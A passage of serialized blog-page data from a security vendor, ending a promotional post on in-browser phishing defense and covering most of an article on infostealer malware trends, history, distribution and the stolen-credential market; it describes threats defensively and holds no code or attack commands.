stopped.",{"data":33738,"content":33742,"nodeType":921},{"target":33739},{"sys":33740},{"id":33741,"type":918,"linkType":919},"7Hu3kypFWwJAGOuQp0kYmU",[],{"data":33744,"content":33745,"nodeType":944},{},[],{"data":33747,"content":33748,"nodeType":953},{},[33749],{"data":33750,"marks":33751,"value":33753,"nodeType":865},{},[33752],{"type":935},"The benefits of browser-native phishing defense",{"data":33755,"content":33756,"nodeType":1229},{},[33757],{"data":33758,"marks":33759,"value":33761,"nodeType":865},{},[33760],{"type":935},"True zero-day protection",{"data":33763,"content":33764,"nodeType":866},{},[33765],{"data":33766,"marks":33767,"value":33768,"nodeType":865},{},[],"Push doesn’t rely on known indicators of compromise. It evaluates the actual behavior and context of every session in real-time. Whether the phishing site was created 5 months ago or 5 minutes ago is irrelevant — Push detects it and shuts it down.",{"data":33770,"content":33771,"nodeType":1229},{},[33772],{"data":33773,"marks":33774,"value":33776,"nodeType":865},{},[33775],{"type":935},"Contextual threat detection",{"data":33778,"content":33779,"nodeType":866},{},[33780],{"data":33781,"marks":33782,"value":33783,"nodeType":865},{},[],"Because Push operates in the browser, it sees everything:",{"data":33785,"content":33786,"nodeType":2374},{},[33787,33797,33807,33826,33836],{"data":33788,"content":33789,"nodeType":2309},{},[33790],{"data":33791,"content":33792,"nodeType":866},{},[33793],{"data":33794,"marks":33795,"value":33796,"nodeType":865},{},[],"The page layout",{"data":33798,"content":33799,"nodeType":2309},{},[33800],{"data":33801,"content":33802,"nodeType":866},{},[33803],{"data":33804,"marks":33805,"value":33806,"nodeType":865},{},[],"Where the user came from",{"data":33808,"content":33809,"nodeType":2309},{},[33810],{"data":33811,"content":33812,"nodeType":866},{},[33813,33816,33823],{"data":33814,"marks":33815,"value":32034,"nodeType":865},{},[],{"data":33817,"content":33818,"nodeType":889},{"uri":30590},[33819],{"data":33820,"marks":33821,"value":32042,"nodeType":865},{},[33822],{"type":1191},{"data":33824,"marks":33825,"value":21,"nodeType":865},{},[],{"data":33827,"content":33828,"nodeType":2309},{},[33829],{"data":33830,"content":33831,"nodeType":866},{},[33832],{"data":33833,"marks":33834,"value":33835,"nodeType":865},{},[],"What scripts are running",{"data":33837,"content":33838,"nodeType":2309},{},[33839],{"data":33840,"content":33841,"nodeType":866},{},[33842],{"data":33843,"marks":33844,"value":33845,"nodeType":865},{},[],"And where credentials are being sent",{"data":33847,"content":33848,"nodeType":866},{},[33849],{"data":33850,"marks":33851,"value":33852,"nodeType":865},{},[],"This context enables Push to stop even well-camouflaged phishing attempts, including AitM attacks that bypass MFA.",{"data":33854,"content":33855,"nodeType":1229},{},[33856],{"data":33857,"marks":33858,"value":33860,"nodeType":865},{},[33859],{"type":935},"Real-time interception of malicious activity",{"data":33862,"content":33863,"nodeType":866},{},[33864],{"data":33865,"marks":33866,"value":33867,"nodeType":865},{},[],"As soon as a phishing attempt is confirmed, the response is immediate:",{"data":33869,"content":33870,"nodeType":2374},{},[33871,33881,33891],{"data":33872,"content":33873,"nodeType":2309},{},[33874],{"data":33875,"content":33876,"nodeType":866},{},[33877],{"data":33878,"marks":33879,"value":33880,"nodeType":865},{},[],"Credential entry is halted.",{"data":33882,"content":33883,"nodeType":2309},{},[33884],{"data":33885,"content":33886,"nodeType":866},{},[33887],{"data":33888,"marks":33889,"value":33890,"nodeType":865},{},[],"Sessions are revoked.",{"data":33892,"content":33893,"nodeType":2309},{},[33894],{"data":33895,"content":33896,"nodeType":866},{},[33897],{"data":33898,"marks":33899,"value":33900,"nodeType":865},{},[],"The user is protected without delay.",{"data":33902,"content":33903,"nodeType":1229},{},[33904],{"data":33905,"marks":33906,"value":33908,"nodeType":865},{},[33907],{"type":935},"Reduced incident response overhead",{"data":33910,"content":33911,"nodeType":866},{},[33912],{"data":33913,"marks":33914,"value":33915,"nodeType":865},{},[],"Most phishing attacks end in hours of IR and expensive cleanup. With Push, attacks don’t escalate beyond the initial click. That means fewer compromised accounts, fewer escalations, and less fatigue on your security team.",{"data":33917,"content":33918,"nodeType":1229},{},[33919],{"data":33920,"marks":33921,"value":33923,"nodeType":865},{},[33922],{"type":935},"Empowered, educated users",{"data":33925,"content":33926,"nodeType":866},{},[33927],{"data":33928,"marks":33929,"value":33930,"nodeType":865},{},[],"Push doesn’t just block phishing; it helps users learn from it. When someone interacts with a suspicious page, they get clear, actionable feedback right in the browser. Over time, these in-the-moment cues help build stronger phishing awareness across your workforce. Employee-facing messages are fully customizable to match the tone and style of your organization.",{"data":33932,"content":33933,"nodeType":1229},{},[33934],{"data":33935,"marks":33936,"value":33938,"nodeType":865},{},[33937],{"type":935},"A new paradigm for identity security",{"data":33940,"content":33941,"nodeType":866},{},[33942],{"data":33943,"marks":33944,"value":33945,"nodeType":865},{},[],"While phishing detection is core, Push also helps you defend your entire browser-based identity attack surface. That means protecting against other common forms of account compromise, like:",{"data":33947,"content":33948,"nodeType":2374},{},[33949,33959,33969,33979,33989],{"data":33950,"content":33951,"nodeType":2309},{},[33952],{"data":33953,"content":33954,"nodeType":866},{},[33955],{"data":33956,"marks":33957,"value":33958,"nodeType":865},{},[],"Employees using breached or reused passwords",{"data":33960,"content":33961,"nodeType":2309},{},[33962],{"data":33963,"content":33964,"nodeType":866},{},[33965],{"data":33966,"marks":33967,"value":33968,"nodeType":865},{},[],"Missing or misconfigured MFA",{"data":33970,"content":33971,"nodeType":2309},{},[33972],{"data":33973,"content":33974,"nodeType":866},{},[33975],{"data":33976,"marks":33977,"value":33978,"nodeType":865},{},[],"Ghost logins that bypass your identity provider",{"data":33980,"content":33981,"nodeType":2309},{},[33982],{"data":33983,"content":33984,"nodeType":866},{},[33985],{"data":33986,"marks":33987,"value":33988,"nodeType":865},{},[],"Token-based session hijacking",{"data":33990,"content":33991,"nodeType":2309},{},[33992],{"data":33993,"content":33994,"nodeType":866},{},[33995],{"data":33996,"marks":33997,"value":33998,"nodeType":865},{},[],"Shadow SaaS usage",{"data":34000,"content":34001,"nodeType":866},{},[34002],{"data":34003,"marks":34004,"value":34005,"nodeType":865},{},[],"Because Push runs directly in the browser, it gives you visibility across every app your employees access, whether it’s officially managed or not. And it doesn’t just alert, it actively helps you fix the issues, guiding users to take action when risks are found.",{"data":34007,"content":34008,"nodeType":944},{},[],{"data":34010,"content":34011,"nodeType":953},{},[34012],{"data":34013,"marks":34014,"value":34016,"nodeType":865},{},[34015],{"type":935},"Modern phishing requires a modern defense",{"data":34018,"content":34019,"nodeType":866},{},[34020],{"data":34021,"marks":34022,"value":34023,"nodeType":865},{},[],"Phishing is no longer an email problem. It’s not even just a domain reputation problem. It’s an identity attack problem, and the only place you can see those attacks in action is inside the browser.",{"data":34025,"content":34026,"nodeType":866},{},[34027,34031,34038],{"data":34028,"marks":34029,"value":34030,"nodeType":865},{},[],"Push Security gives you a new advantage: proactive, in-browser protection against modern phishing campaigns — ",{"data":34032,"content":34033,"nodeType":889},{"uri":33530},[34034],{"data":34035,"marks":34036,"value":34037,"nodeType":865},{},[],"even those with never-before-seen phishing sites",{"data":34039,"marks":34040,"value":1066,"nodeType":865},{},[],{"data":34042,"content":34043,"nodeType":2374},{},[34044,34054,34064],{"data":34045,"content":34046,"nodeType":2309},{},[34047],{"data":34048,"content":34049,"nodeType":866},{},[34050],{"data":34051,"marks":34052,"value":34053,"nodeType":865},{},[],"See the phish happen.",{"data":34055,"content":34056,"nodeType":2309},{},[34057],{"data":34058,"content":34059,"nodeType":866},{},[34060],{"data":34061,"marks":34062,"value":34063,"nodeType":865},{},[],"Stop it in real time.",{"data":34065,"content":34066,"nodeType":2309},{},[34067],{"data":34068,"content":34069,"nodeType":866},{},[34070],{"data":34071,"marks":34072,"value":34073,"nodeType":865},{},[],"Keep your workforce identities safe.",{"data":34075,"content":34076,"nodeType":866},{},[34077,34082,34090],{"data":34078,"marks":34079,"value":34081,"nodeType":865},{},[34080],{"type":935},"Want to see Push in action? ",{"data":34083,"content":34084,"nodeType":889},{"uri":1487},[34085],{"data":34086,"marks":34087,"value":34089,"nodeType":865},{},[34088],{"type":935},"Book a demo",{"data":34091,"marks":34092,"value":34094,"nodeType":865},{},[34093],{"type":935}," and watch a real-time phishing attack get stopped mid-flow.",{"data":34096,"content":34100,"nodeType":921},{"target":34097},{"sys":34098},{"id":34099,"type":918,"linkType":919},"7eSsPjEj178j3ViloaChbQ",[],{"data":34102,"content":34103,"nodeType":866},{},[34104],{"data":34105,"marks":34106,"value":21,"nodeType":865},{},[],"How browser-level controls change the fight against phishing","Attackers are routinely defeating conventional email, network, and endpoint-based security controls. Here's how browser controls can level the playing field.","how-browser-level-controls-change-the-fight-against-phishing",{"items":34111},[34112,34114],{"sys":34113,"name":2663},{"id":2662},{"sys":34115,"name":342},{"id":2666},{"items":34117},[34118],{"fullName":34119,"firstName":34120,"jobTitle":11084,"profilePicture":34121},"Peyton Padfield","Peyton",{"url":34122},"https://images.ctfassets.net/y1cdw1ablpvd/1GU01HXElmc07nwi89qP3b/3188050420106c62e9df2ed4e4893b7f/1677005177901__1_.jpeg","detecting-phishing-pages-using-obfuscated-url-destinations","blog/detecting-phishing-pages-using-obfuscated-url-destinations",{"json":34126},{"data":34127,"content":34128,"nodeType":1663},{},[34129],{"data":34130,"content":34131,"nodeType":866},{},[34132],{"data":34133,"marks":34134,"value":34135,"nodeType":865},{},[],"Push now blocks URL schema obfuscation, countering a common technique used by attackers to bypass URL detections for phishing pages and malicious IPs. ",{"id":34137,"publishedAt":34138},"01j2aaSivfQJ2n8Dt6H8yO","2026-08-12T11:53:59.638Z",{"items":34140},[34141,34143],{"sys":34142,"name":2663},{"id":2662},{"sys":34144,"name":342},{"id":2666},{"items":34146},[34147,34149,34151,34153,34155,34157],{"sys":34148,"name":279,"slug":280,"tier":31},{"id":276},{"sys":34150,"name":519,"slug":520,"tier":31},{"id":516},{"sys":34152,"name":342,"slug":343,"tier":31},{"id":339},{"sys":34154,"name":324,"slug":325,"tier":45},{"id":321},{"sys":34156,"name":351,"slug":352,"tier":45},{"id":348},{"sys":34158,"name":448,"slug":449,"tier":45},{"id":445},"pEuvd4s4OBm73TH6Tk9nGVRiXOUBztKA0iDSOXkaHqE",{"id":34161,"title":34162,"authorsCollection":34163,"content":34168,"extension":228,"faqItemsCollection":35347,"faqTitle":59,"featured":6,"hashTags":59,"meta":35349,"metaTitle":35350,"ogImage":59,"postType":1797,"publishedDate":35351,"relatedBlogPostsCollection":35352,"slug":37277,"stem":37278,"subtitle":59,"summary":37279,"synopsis":37290,"sys":37291,"tagsCollection":37294,"topicsCollection":37300,"__hash__":37340},"blog/blog/what-the-rise-of-infostealers-says-about-identity-attacks.json","What the rise of infostealers says about identity attacks",{"items":34164},[34165],{"fullName":2670,"firstName":2671,"jobTitle":2672,"socialLinks":34166,"profilePicture":34167},[14260],{"url":2674},{"json":34169,"links":35322},{"data":34170,"content":34171,"nodeType":1663},{},[34172,34204,34216,34232,34239,34246,34249,34256,34263,34395,34402,34409,34503,34510,34517,34570,34577,34600,34657,34660,34667,34686,34706,34713,34732,34739,34751,34754,34761,34768,34816,34823,34830,34849,34852,34859,34866,34873,34892,34899,34906,34913,34933,34940,34947,34954,34961,34980,34987,34994,35001,35008,35040,35046,35049,35056,35063,35069,35076,35083,35106,35113,35120,35163,35179,35199,35205,35212,35219,35226,35258,35303,35310,35316],{"data":34173,"content":34174,"nodeType":866},{},[34175,34179,34188,34192,34200],{"data":34176,"marks":34177,"value":34178,"nodeType":865},{},[],"Infostealer malware seems to be grabbing the headlines right now. It’s easy to see why, too, after laying claim to one of the ",{"data":34180,"content":34182,"nodeType":889},{"uri":34181},"https://www.wired.com/story/snowflake-breach-advanced-auto-parts-lendingtree/",[34183],{"data":34184,"marks":34185,"value":34187,"nodeType":865},{},[34186],{"type":1191},"biggest breaches in history",{"data":34189,"marks":34190,"value":34191,"nodeType":865},{},[],". The ",{"data":34193,"content":34194,"nodeType":889},{"uri":2364},[34195],{"data":34196,"marks":34197,"value":34199,"nodeType":865},{},[34198],{"type":1191},"recent attacks on Snowflake customers",{"data":34201,"marks":34202,"value":34203,"nodeType":865},{},[]," saw ~165 businesses compromised using stolen credentials, resulting in millions of breached customer records, with the full impact still emerging. ",{"data":34205,"content":34206,"nodeType":866},{},[34207,34211],{"data":34208,"marks":34209,"value":34210,"nodeType":865},{},[],"Notably, ",{"data":34212,"marks":34213,"value":34215,"nodeType":865},{},[34214],{"type":935},"80% of the credentials used to access Snowflake customer accounts had found their way online after being stolen in infostealer infections – dating back as early as 2020. ",{"data":34217,"content":34218,"nodeType":866},{},[34219,34223,34228],{"data":34220,"marks":34221,"value":34222,"nodeType":865},{},[],"The Snowflake situation is a reminder of how lucrative stolen credentials can be for attackers – and how the cybercrime ecosystem has tilted as a result. As the saying goes nowadays, ",{"data":34224,"marks":34225,"value":34227,"nodeType":865},{},[34226],{"type":935},"hackers don’t hack in, they log in",{"data":34229,"marks":34230,"value":34231,"nodeType":865},{},[],". Stolen credentials are the lowest hanging fruit available to attackers, and their appetite (and the ecosystem needed to feed it) is insatiable. As an attacker, the prospect of picking up access to a major enterprise for just $10 or less (or even for free) is hard to resist – why wouldn’t you buy a ticket and take the gamble?  ",{"data":34233,"content":34234,"nodeType":866},{},[34235],{"data":34236,"marks":34237,"value":34238,"nodeType":865},{},[],"Infostealers are a huge part of the shift toward identity attacks. Along with phishing, infostealers are the primary mechanism for attackers to harvest credentials. Unlike phishing, infostealers can collect a large number of credentials (and other helpful data saved in the browser) in one fell swoop. But, they do have limitations. For example, you would expect any credible EDR to detect and block these attacks. And yet, the success of the attacks on Snowflake customers show us that gaps are being found and exploited.  ",{"data":34240,"content":34241,"nodeType":866},{},[34242],{"data":34243,"marks":34244,"value":34245,"nodeType":865},{},[],"In this article, we’ll look at the history of infostealers, how they work, and what the trends show us about how the cybercrime ecosystem is leaning into the opportunity they present.    ",{"data":34247,"content":34248,"nodeType":944},{},[],{"data":34250,"content":34251,"nodeType":953},{},[34252],{"data":34253,"marks":34254,"value":34255,"nodeType":865},{},[],"The state of infostealers today",{"data":34257,"content":34258,"nodeType":866},{},[34259],{"data":34260,"marks":34261,"value":34262,"nodeType":865},{},[],"Infostealers, and the mass credential harvesting they enable, are a big part of the rise in identity attacks. The stats support this, as:",{"data":34264,"content":34265,"nodeType":2374},{},[34266,34288,34310,34331,34353,34374],{"data":34267,"content":34268,"nodeType":2309},{},[34269],{"data":34270,"content":34271,"nodeType":866},{},[34272,34276,34285],{"data":34273,"marks":34274,"value":34275,"nodeType":865},{},[],"One million new stealer logs are distributed every month, with an estimated 3-5% containing credentials and session cookies to corporate IT environments (",{"data":34277,"content":34279,"nodeType":889},{"uri":34278},"https://www.bleepingcomputer.com/news/security/single-sign-on-and-the-cybercrime-ecosystem/",[34280],{"data":34281,"marks":34282,"value":34284,"nodeType":865},{},[34283],{"type":1191},"Flare",{"data":34286,"marks":34287,"value":27551,"nodeType":865},{},[],{"data":34289,"content":34290,"nodeType":2309},{},[34291],{"data":34292,"content":34293,"nodeType":866},{},[34294,34298,34307],{"data":34295,"marks":34296,"value":34297,"nodeType":865},{},[],"Infostealer activity increased by 266% in 2023, while the number of attacks featuring valid credentials saw a 71% increase year-over-year (",{"data":34299,"content":34301,"nodeType":889},{"uri":34300},"https://www.ibm.com/downloads/cas/L0GKXDWJ",[34302],{"data":34303,"marks":34304,"value":34306,"nodeType":865},{},[34305],{"type":1191},"IBM",{"data":34308,"marks":34309,"value":27551,"nodeType":865},{},[],{"data":34311,"content":34312,"nodeType":2309},{},[34313],{"data":34314,"content":34315,"nodeType":866},{},[34316,34320,34328],{"data":34317,"marks":34318,"value":34319,"nodeType":865},{},[],"147,000 token replay attacks were detected by Microsoft in 2023, an 111% increase year-over-year (",{"data":34321,"content":34323,"nodeType":889},{"uri":34322},"https://techcommunity.microsoft.com/t5/microsoft-entra-blog/how-to-break-the-token-theft-cyber-attack-chain/ba-p/4062700",[34324],{"data":34325,"marks":34326,"value":6523,"nodeType":865},{},[34327],{"type":1191},{"data":34329,"marks":34330,"value":17620,"nodeType":865},{},[],{"data":34332,"content":34333,"nodeType":2309},{},[34334],{"data":34335,"content":34336,"nodeType":866},{},[34337,34341,34350],{"data":34338,"marks":34339,"value":34340,"nodeType":865},{},[],"Over 1000 credentials are posted online per day, per marketplace with an average sale price of $10, and 65% posted less than one day after being collected (",{"data":34342,"content":34344,"nodeType":889},{"uri":34343},"https://www.verizon.com/business/en-gb/resources/reports/dbir/",[34345],{"data":34346,"marks":34347,"value":34349,"nodeType":865},{},[34348],{"type":1191},"Verizon",{"data":34351,"marks":34352,"value":27551,"nodeType":865},{},[],{"data":34354,"content":34355,"nodeType":2309},{},[34356],{"data":34357,"content":34358,"nodeType":866},{},[34359,34363,34371],{"data":34360,"marks":34361,"value":34362,"nodeType":865},{},[],"Nearly half of the malware detected last year by Sophos targeted victims’ data specifically, and the majority of that malware was classified as infostealers (",{"data":34364,"content":34366,"nodeType":889},{"uri":34365},"https://news.sophos.com/en-us/2024/03/12/2024-sophos-threat-report/",[34367],{"data":34368,"marks":34369,"value":34370,"nodeType":865},{},[],"Sophos",{"data":34372,"marks":34373,"value":27551,"nodeType":865},{},[],{"data":34375,"content":34376,"nodeType":2309},{},[34377],{"data":34378,"content":34379,"nodeType":866},{},[34380,34384,34392],{"data":34381,"marks":34382,"value":34383,"nodeType":865},{},[],"Attacks on session cookies happen at the same order of magnitude as password-based attacks (",{"data":34385,"content":34387,"nodeType":889},{"uri":34386},"https://github.com/WICG/dbsc/issues/13#issuecomment-1977657864",[34388],{"data":34389,"marks":34390,"value":32835,"nodeType":865},{},[34391],{"type":1191},{"data":34393,"marks":34394,"value":27551,"nodeType":865},{},[],{"data":34396,"content":34397,"nodeType":1229},{},[34398],{"data":34399,"marks":34400,"value":34401,"nodeType":865},{},[],"How did we get here?",{"data":34403,"content":34404,"nodeType":866},{},[34405],{"data":34406,"marks":34407,"value":34408,"nodeType":865},{},[],"Let’s go back to the beginning. When they first emerged, infostealers were designed to steal online banking and credit card information. The most notable early example comes from as far back as 2006 with the ZeuS trojan. After the ZeuS source code was leaked in March 2011, the creation of multiple variants boosted the popularity of this type of malware and inspired the development of infostealers with increasingly sophisticated capabilities.",{"data":34410,"content":34411,"nodeType":866},{},[34412,34416,34425,34429,34438,34442,34451,34454,34463,34466,34475,34478,34487,34490,34499],{"data":34413,"marks":34414,"value":34415,"nodeType":865},{},[],"Modern infostealers rose to prominence in around 2018 with the emergence of ",{"data":34417,"content":34419,"nodeType":889},{"uri":34418},"https://malpedia.caad.fkie.fraunhofer.de/details/win.arkei_stealer",[34420],{"data":34421,"marks":34422,"value":34424,"nodeType":865},{},[34423],{"type":1191},"Arkei",{"data":34426,"marks":34427,"value":34428,"nodeType":865},{},[],", which quickly spawned the more popular ",{"data":34430,"content":34432,"nodeType":889},{"uri":34431},"https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar",[34433],{"data":34434,"marks":34435,"value":34437,"nodeType":865},{},[34436],{"type":1191},"Vidar",{"data":34439,"marks":34440,"value":34441,"nodeType":865},{},[]," stealer. Today, some of the most popular families are ",{"data":34443,"content":34445,"nodeType":889},{"uri":34444},"https://malpedia.caad.fkie.fraunhofer.de/details/win.risepro",[34446],{"data":34447,"marks":34448,"value":34450,"nodeType":865},{},[34449],{"type":1191},"RisePro",{"data":34452,"marks":34453,"value":3202,"nodeType":865},{},[],{"data":34455,"content":34457,"nodeType":889},{"uri":34456},"https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer",[34458],{"data":34459,"marks":34460,"value":34462,"nodeType":865},{},[34461],{"type":1191},"RedLine",{"data":34464,"marks":34465,"value":3202,"nodeType":865},{},[],{"data":34467,"content":34469,"nodeType":889},{"uri":34468},"https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc",[34470],{"data":34471,"marks":34472,"value":34474,"nodeType":865},{},[34473],{"type":1191},"StealC",{"data":34476,"marks":34477,"value":3202,"nodeType":865},{},[],{"data":34479,"content":34481,"nodeType":889},{"uri":34480},"https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon",[34482],{"data":34483,"marks":34484,"value":34486,"nodeType":865},{},[34485],{"type":1191},"Raccoon",{"data":34488,"marks":34489,"value":6593,"nodeType":865},{},[],{"data":34491,"content":34493,"nodeType":889},{"uri":34492},"https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma",[34494],{"data":34495,"marks":34496,"value":34498,"nodeType":865},{},[34497],{"type":1191},"Lumma",{"data":34500,"marks":34501,"value":34502,"nodeType":865},{},[],", with new variants and families appearing all the time. ",{"data":34504,"content":34505,"nodeType":866},{},[34506],{"data":34507,"marks":34508,"value":34509,"nodeType":865},{},[],"Infostealers are used by all manner of threat actors of varying levels of sophistication. For larger groups with sufficient resources, the creation of new, custom stealers and malware packages is a common tactic to attempt to evade detection. ",{"data":34511,"content":34512,"nodeType":866},{},[34513],{"data":34514,"marks":34515,"value":34516,"nodeType":865},{},[],"But despite all the variants, infostealers do have common capabilities and characteristics, such as:",{"data":34518,"content":34519,"nodeType":2374},{},[34520,34530,34540,34550,34560],{"data":34521,"content":34522,"nodeType":2309},{},[34523],{"data":34524,"content":34525,"nodeType":866},{},[34526],{"data":34527,"marks":34528,"value":34529,"nodeType":865},{},[],"Extracting information from the browsers of a compromised device, such as passwords, cookies, autofill information, downloaded file information.",{"data":34531,"content":34532,"nodeType":2309},{},[34533],{"data":34534,"content":34535,"nodeType":866},{},[34536],{"data":34537,"marks":34538,"value":34539,"nodeType":865},{},[],"Snapshotting the desktop and system inventory, with details such as the username, location data, hardware configuration, and information regarding installed security software.",{"data":34541,"content":34542,"nodeType":2309},{},[34543],{"data":34544,"content":34545,"nodeType":866},{},[34546],{"data":34547,"marks":34548,"value":34549,"nodeType":865},{},[],"Sending stolen data back to a C2 server.",{"data":34551,"content":34552,"nodeType":2309},{},[34553],{"data":34554,"content":34555,"nodeType":866},{},[34556],{"data":34557,"marks":34558,"value":34559,"nodeType":865},{},[],"Facilitating the deployment of additional tools and malware as part of a package. ",{"data":34561,"content":34562,"nodeType":2309},{},[34563],{"data":34564,"content":34565,"nodeType":866},{},[34566],{"data":34567,"marks":34568,"value":34569,"nodeType":865},{},[],"Often (but not always) self-terminating once complete, leaving little trace on the victim machine and no ongoing behavior that might be detected. ",{"data":34571,"content":34572,"nodeType":866},{},[34573],{"data":34574,"marks":34575,"value":34576,"nodeType":865},{},[],"Infostealers are distributed in similar ways to other types of malware, such as:",{"data":34578,"content":34579,"nodeType":2374},{},[34580,34590],{"data":34581,"content":34582,"nodeType":2309},{},[34583],{"data":34584,"content":34585,"nodeType":866},{},[34586],{"data":34587,"marks":34588,"value":34589,"nodeType":865},{},[],"Delivery of malicious executable files via phishing emails or by having a victim download content from a malicious website. ",{"data":34591,"content":34592,"nodeType":2309},{},[34593],{"data":34594,"content":34595,"nodeType":866},{},[34596],{"data":34597,"marks":34598,"value":34599,"nodeType":865},{},[],"‘Drive-by’ style attacks where the victim has only to visit an infected website.",{"data":34601,"content":34602,"nodeType":866},{},[34603,34607,34616,34619,34628,34631,34640,34644,34653],{"data":34604,"marks":34605,"value":34606,"nodeType":865},{},[],"They’re typically spread via malvertising, P2P downloads, and deceptive software download sites. ",{"data":34608,"content":34610,"nodeType":889},{"uri":34609},"https://www.bleepingcomputer.com/news/security/fake-cheat-lures-gamers-into-spreading-infostealer-malware/",[34611],{"data":34612,"marks":34613,"value":34615,"nodeType":865},{},[34614],{"type":1191},"Gaming forums",{"data":34617,"marks":34618,"value":3202,"nodeType":865},{},[],{"data":34620,"content":34622,"nodeType":889},{"uri":34621},"https://cybersecuritynews.com/facebook-account-hijack-malware/",[34623],{"data":34624,"marks":34625,"value":34627,"nodeType":865},{},[34626],{"type":1191},"Facebook ads",{"data":34629,"marks":34630,"value":6593,"nodeType":865},{},[],{"data":34632,"content":34634,"nodeType":889},{"uri":34633},"https://www.fortinet.com/blog/threat-research/lumma-variant-on-youtube",[34635],{"data":34636,"marks":34637,"value":34639,"nodeType":865},{},[34638],{"type":1191},"YouTube video descriptions",{"data":34641,"marks":34642,"value":34643,"nodeType":865},{},[]," are popular locations for malicious links, but recent examples also include ",{"data":34645,"content":34647,"nodeType":889},{"uri":34646},"https://www.bleepingcomputer.com/news/security/over-3-000-github-accounts-used-by-malware-distribution-service/",[34648],{"data":34649,"marks":34650,"value":34652,"nodeType":865},{},[34651],{"type":1191},"complex malware distribution networks on GitHub",{"data":34654,"marks":34655,"value":34656,"nodeType":865},{},[]," – such as the recent campaign from ‘Stargazer Goblin’ with more than 3,000 fake accounts creating and promoting hundreds of fake repositories to increase their apparent legitimacy and make them more likely to appear on GitHub's trending section.",{"data":34658,"content":34659,"nodeType":944},{},[],{"data":34661,"content":34662,"nodeType":953},{},[34663],{"data":34664,"marks":34665,"value":34666,"nodeType":865},{},[],"Infostealers are key to the cybercrime ecosystem",{"data":34668,"content":34669,"nodeType":866},{},[34670,34674,34682],{"data":34671,"marks":34672,"value":34673,"nodeType":865},{},[],"After being stolen, ",{"data":34675,"content":34676,"nodeType":889},{"uri":34278},[34677],{"data":34678,"marks":34679,"value":34681,"nodeType":865},{},[34680],{"type":1191},"infostealer data inevitably finds its way onto hacker forums and marketplaces",{"data":34683,"marks":34684,"value":34685,"nodeType":865},{},[],", both on the clearweb and darkweb. Popular infostealers have their own dedicated Telegram channels to advertise and sell stolen data. Private channels also exist, with the channel owner distributing tens of thousands of logs per week to a limited number of threat actors who pay $200-$400 for access to the channel. This allows them to get ‘first pick’ of stolen logs, which are later shared through public Telegram channels. ",{"data":34687,"content":34688,"nodeType":866},{},[34689,34693,34702],{"data":34690,"marks":34691,"value":34692,"nodeType":865},{},[],"Public data eventually makes its way onto services such as Have I Been Pwned (HIBP), which gives individuals and security teams some visibility of which credentials have been compromised. For example, ",{"data":34694,"content":34696,"nodeType":889},{"uri":34695},"https://www.troyhunt.com/telegram-combolists-and-361m-email-addresses/",[34697],{"data":34698,"marks":34699,"value":34701,"nodeType":865},{},[34700],{"type":1191},"in June, Troy Hunt (creator of HIBP) wrote",{"data":34703,"marks":34704,"value":34705,"nodeType":865},{},[]," about the impact of channels like Telegram and the sale of combolists (username, password, login portal URL), after being sent 122GB of data scraped out of thousands of Telegram channels, containing 361M unique email addresses (of which 151M had never been seen in HIBP before). ",{"data":34707,"content":34708,"nodeType":866},{},[34709],{"data":34710,"marks":34711,"value":34712,"nodeType":865},{},[],"The cybercrime ecosystem is complex, with a developed supply chain and organizations fulfilling different roles as a result: from malware-as-a-service developers, to initial access brokers, to the operators that actually conduct the attacks (be they ransomware, data theft, etc.) – and many, many other roles in between. Sometimes, a single group and/or its affiliates will conduct the full chain, but this is far less common today. ",{"data":34714,"content":34715,"nodeType":866},{},[34716,34719,34728],{"data":34717,"marks":34718,"value":21,"nodeType":865},{},[],{"data":34720,"content":34722,"nodeType":889},{"uri":34721},"https://www.secureworks.com/research/the-growing-threat-from-infostealers",[34723],{"data":34724,"marks":34725,"value":34727,"nodeType":865},{},[34726],{"type":1191},"Infostealers are often sold by malware developers to other attackers as a monthly subscription service.",{"data":34729,"marks":34730,"value":34731,"nodeType":865},{},[]," The price can range from $50 to over $1,000 USD per month for access to a stealer command and control (C2) server operated by the developer. The service often features a range of support functions, including multiple ways to view, download, and share stolen data. Self-hosted stealer C2 servers are also available and are usually sold for a flat fee. ",{"data":34733,"content":34734,"nodeType":866},{},[34735],{"data":34736,"marks":34737,"value":34738,"nodeType":865},{},[],"There’s also evidence that there is an element of target coordination – with one marketplace, Russian Market, allowing users to ‘preorder’ credentials for a $1,000 USD deposit from 2022. ",{"data":34740,"content":34741,"nodeType":866},{},[34742,34747],{"data":34743,"marks":34744,"value":34746,"nodeType":865},{},[34745],{"type":935},"So what? Well, there's evidently an abundance of breached data already online, and attackers have the tools readily available to have this pile grow exponentially bigger and more useful.",{"data":34748,"marks":34749,"value":34750,"nodeType":865},{},[]," It’s also probably more coordinated than we like to admit – a particularly intimidating prospect in the wake of Snowflake, which will no doubt have many criminals smelling blood in the water. ",{"data":34752,"content":34753,"nodeType":944},{},[],{"data":34755,"content":34756,"nodeType":953},{},[34757],{"data":34758,"marks":34759,"value":34760,"nodeType":865},{},[],"How can stolen data be abused by attackers? ",{"data":34762,"content":34763,"nodeType":866},{},[34764],{"data":34765,"marks":34766,"value":34767,"nodeType":865},{},[],"It’s pretty obvious that attackers getting access to all of your passwords and session cookies is bad, but there is a clear value hierarchy from a corporate security perspective. So, from highest to lowest risk:",{"data":34769,"content":34770,"nodeType":2374},{},[34771,34786,34801],{"data":34772,"content":34773,"nodeType":2309},{},[34774],{"data":34775,"content":34776,"nodeType":866},{},[34777,34782],{"data":34778,"marks":34779,"value":34781,"nodeType":865},{},[34780],{"type":935},"Stolen session cookies",{"data":34783,"marks":34784,"value":34785,"nodeType":865},{},[]," simply need to be imported into an attacker’s browser to resume an active session on an app. That means access can be gained without needing to enter a username and password, or pass any MFA checks. ",{"data":34787,"content":34788,"nodeType":2309},{},[34789],{"data":34790,"content":34791,"nodeType":866},{},[34792,34797],{"data":34793,"marks":34794,"value":34796,"nodeType":865},{},[34795],{"type":935},"Stolen usernames, passwords",{"data":34798,"marks":34799,"value":34800,"nodeType":865},{},[],", and login page URLs can be used to access any accounts that lack MFA. ",{"data":34802,"content":34803,"nodeType":2309},{},[34804],{"data":34805,"content":34806,"nodeType":866},{},[34807,34812],{"data":34808,"marks":34809,"value":34811,"nodeType":865},{},[34810],{"type":935},"Stolen autofill data",{"data":34813,"marks":34814,"value":34815,"nodeType":865},{},[]," can be used to gather other valuable information that could be useful for impersonating the victim when speaking to social engineering IT support staff, for example to reset or remove 